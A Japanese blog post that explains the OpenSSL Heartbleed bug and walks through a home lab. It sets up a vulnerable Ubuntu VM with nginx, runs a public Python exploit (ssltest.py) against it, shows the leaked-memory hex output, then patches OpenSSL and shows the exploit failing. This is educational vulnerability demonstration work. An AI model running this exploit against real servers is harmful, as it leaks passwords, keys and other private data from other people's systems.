読者です 読者をやめる 読者になる 読者になる

モラトリアムこじらせた

大人に成り切れない自分を自覚してウジウジと自分探しを延々と繰り返しつつ、気付いてみれば社会人になってからもう何年も経っちゃってて、そういえばローンとかも組んじゃってて、考えてみれば色々と取り返しのつかない年齢になっちゃってて、給料は上がらずリストラに怯えつつ、焦ってみても慌ててみても、やっぱり心に引っ掛るものが何なのか分からず、やっぱりウジウジ自分探しなんかしちゃったりしてる…、そんなモラトリアムをこじらせたあ・な・た(私)にお贈りする技術ブログ

OpenSSL マジヤバいっす! ~ Heartbleed 脆弱性を試してみたよ

Python Security

実際にデータが漏れる様子を見たい方はコチラ→あ、何か漏れてる… OpenSSL Heartbleed 実験その2へどうぞ。

さて

ネット上の通信の大部分において「安全」を担保していた OpenSSL なのですが... でっかい穴 が空いていたことが明らかになったようです。いわゆる Heartbleed バグ。トホホです。

「ネット上のサービスで OpenSSL を使っている(いた)サイトは、もしかしたらこのバグを知っていた悪い人からサーバー上の情報を盗まれていたかもよ? しかも盗んだ形跡は残らないんだぜ?」

ということになります。

サーバー上の情報というのは、例えば

  • パスワード、メールアドレス
  • 自分で登録した名前とか住所とか
  • もちろん自分で入力したクレジットカード番号とか…

などなど。

Mashableによると、有名なサービスでヤバイのは、

がリストアップされています。私もこの中のいくつかのサービスに依存しています。

日本のサービスについてヤバいリストはまだないんでしょうか? あったら教えて下さい。

あるいは、Heartbleed test に URL を入れると、そのサイトが「今でもヤバイ」かどうかが調べられます。ただ、このチェックは

「今現在、OpenSSL の Heartbleed バグが修正されてるかどうか?」

しかわかりません。つまり、悲しいですが OpenSSL を使っていたすべてのサイトについて、

「今OKだとしても、過去はバグありの OpenSSL で運営されていたかもしれない。だから情報が盗まれていないとは断言できない」

ということも事実です。なのでセキュリティーの偉い人であるブルース・シュナイアーさんは、自身のブログで、

"Catastrophic" is the right word. On the scale of 1 to 10, this is an 11.
(「壊滅的」という言葉がまさに当てはまる。1~10 で言えばこの問題は 11 だ)

と述べています。打つ手なしですね。笑うしかない。草不可避。

exploit コードを試してみよう!

さて、気分を変えて脆弱性を自分で試してみましょう。悪者になってみるのです。いや、本気でやっちゃダメです! どういうことができるのか体験して怖さを知るのです。

手順:

  1. Ubuntu 13.10 VM を作ります (Ubuntu以外でも。お好きなOSやdistroで)
  2. VMhttps を動かします
  3. exploit コードを host PC から実行します
  4. OpenSSL を新しくして再度 exploit を実行します

1. Ubuntu 13.10 VM を作ります

今をときめく理研のサーバ等から ubuntu-13.10-server-amd64.iso 等好きなOS用のイメージをゲットします。OpenSSL が古そうなものがいいです。

VMware Player は皆さんのPCにインストール済みでしょうから、ダウンロードしたOSのイメージで新しい仮想マシンを作成します。

インストールしたら OpenSSL のバージョンを調べて「新しくない」ことを確認して下さい。

$ dpkg --list | grep libssl
ii  libssl1.0.0:amd64        1.0.1e-3ubuntu1        amd64    SSL shared libraries

この 1.0.1e-3ubuntu1 が OpenSSL のパッケージのバージョンです。

CVE-2014-0160 OpenSSL Heartbleed 脆弱性まとめ を見ると、Ubuntu 13.10 では 1.0.1e-3ubuntu1.2 で修正されているので、1.0.1e-3ubuntu1 はバグありバージョンということになります。やったね。

くれぐれも

$ sudo apt-get upgrade

実行しないでください。OpenSSLが新しくなってSTAP細胞が再現できなくなってしまいます。

2. VMhttps を動かします

nginx を入れてみました。

$ sudo apt-get install nginx

テスト用証明書を作ります。

$ sudo -s
# cd /etc/nginx
# openssl req -new -days 365 -x509 -nodes -keyout cert.key -out cert.crt

https サーバの設定をします。

# vi /etc/nginx/conf.d/https.conf

vi じゃなくてもいいですが、内容は

server {
    listen 443;
    ssl on;
    ssl_certificate      /etc/nginx/cert.crt;
    ssl_certificate_key  /etc/nginx/cert.key;
}

だけで行けました。そしたらサーバを起動します。

# service nginx start
 * Starting nginx nginx                           [ OK ]

エラーが出たら https.conf などを見なおしてください。

nginx が起動したら ifconfig で VM のアドレスを調べて、たとえば 192.168.195.205 だったら、host PC からブラウザで http://192.168.195.205https://192.168.195.205 に接続できるか確認して下さい。

3. exploit コードを host PC から実行します

いよいよ!

exploit code は ここ で公開されています。Python でわかりやすく書かれています。時間をとって読んでみようと思います。今は単に動かすだけ。

入手したスクリプトを host PC のコマンドラインから実行します。

$ python ./ssltest.py 192.168.195.205

と打つと…

$ python ./ssltest.py 192.168.195.205
Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 855
 ... received message: type = 22, ver = 0302, length = 855
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 02 FF FF D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C  ......SC[...r...
  0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90  .+..H...9.......
  0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0  .w.3....f.....".
  0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00  !.9.8.........5.
  0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0  ................
  0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00  ............3.2.
  0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00  ....E.D...../...

        ...

  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Received content written to the file ./dump
WARNING: server returned more data than it should - server is vulnerable!
Server length: 16384
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
  0000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  0010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

        ...

  3fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  3ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

Received content written to the file ./dump
WARNING: server returned more data than it should - server is vulnerable!

うわぁ~ん! なにやら見えちゃいけないものが見えてるよ~!! って感じでデータが表示されます! まさにこれが、

「見えないはずのデータが OpenSSL のバグで見えちゃってる状態」

ということです。

4. OpenSSL を新しくして再度 exploit を実行します

さて、最後に ubuntu の OpenSSL を新しくします。

$ sudo apt-get upgrade

いろんなパッケージが新しくなりますが、その中に libssl があることを確認しておいてください。 upgrade が終了したら、

$ dpkg --list | grep libssl
ii  libssl1.0.0:amd64        1.0.1e-3ubuntu1.2        amd64    SSL shared libraries

バージョンを確認しましょう。さっきは 1.0.1e-3ubuntu1 でしたが、upgrade したら 1.0.1e-3ubuntu1.2 になりました。Heartbleed 脆弱性まとめを見ると、これは問題が修正されたバージョンということになります。

libssl を新しくしたら、nginx をリスタートします。リスタートしないと古い OpenSSL が使われたままになります。

$ sudo service nginx restart
 * Starting nginx nginx                           [ OK ]

最後に host PC から exploit code を実行します。先ほどと同じに、

$ python ./ssltest.py 192.168.195.205

とすると、今度は

Connecting...
Sending Client Hello...
Waiting for Server Hello...
Server length: 66
 ... received message: type = 22, ver = 0302, length = 66
Server length: 855
 ... received message: type = 22, ver = 0302, length = 855
Server length: 331
 ... received message: type = 22, ver = 0302, length = 331
Server length: 4
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...

と出るだけで終了します。これは OpenSSL の Heartbleed 問題が修正されているので「持って来れないはずのデータは、まさしく持って来れない」ことを意味します。

まとめ

便利な世の中になりましたが、私達は、普段意識していない色んな見えないモノに依存した上で、この便利さを享受しているのだな、と実感させられます。

原発も見えないし、ソフトウェアも見えない。STAPも見えない。見えないモノというのは、便利さの反面、大きな代償を生むこともあるのでしょう。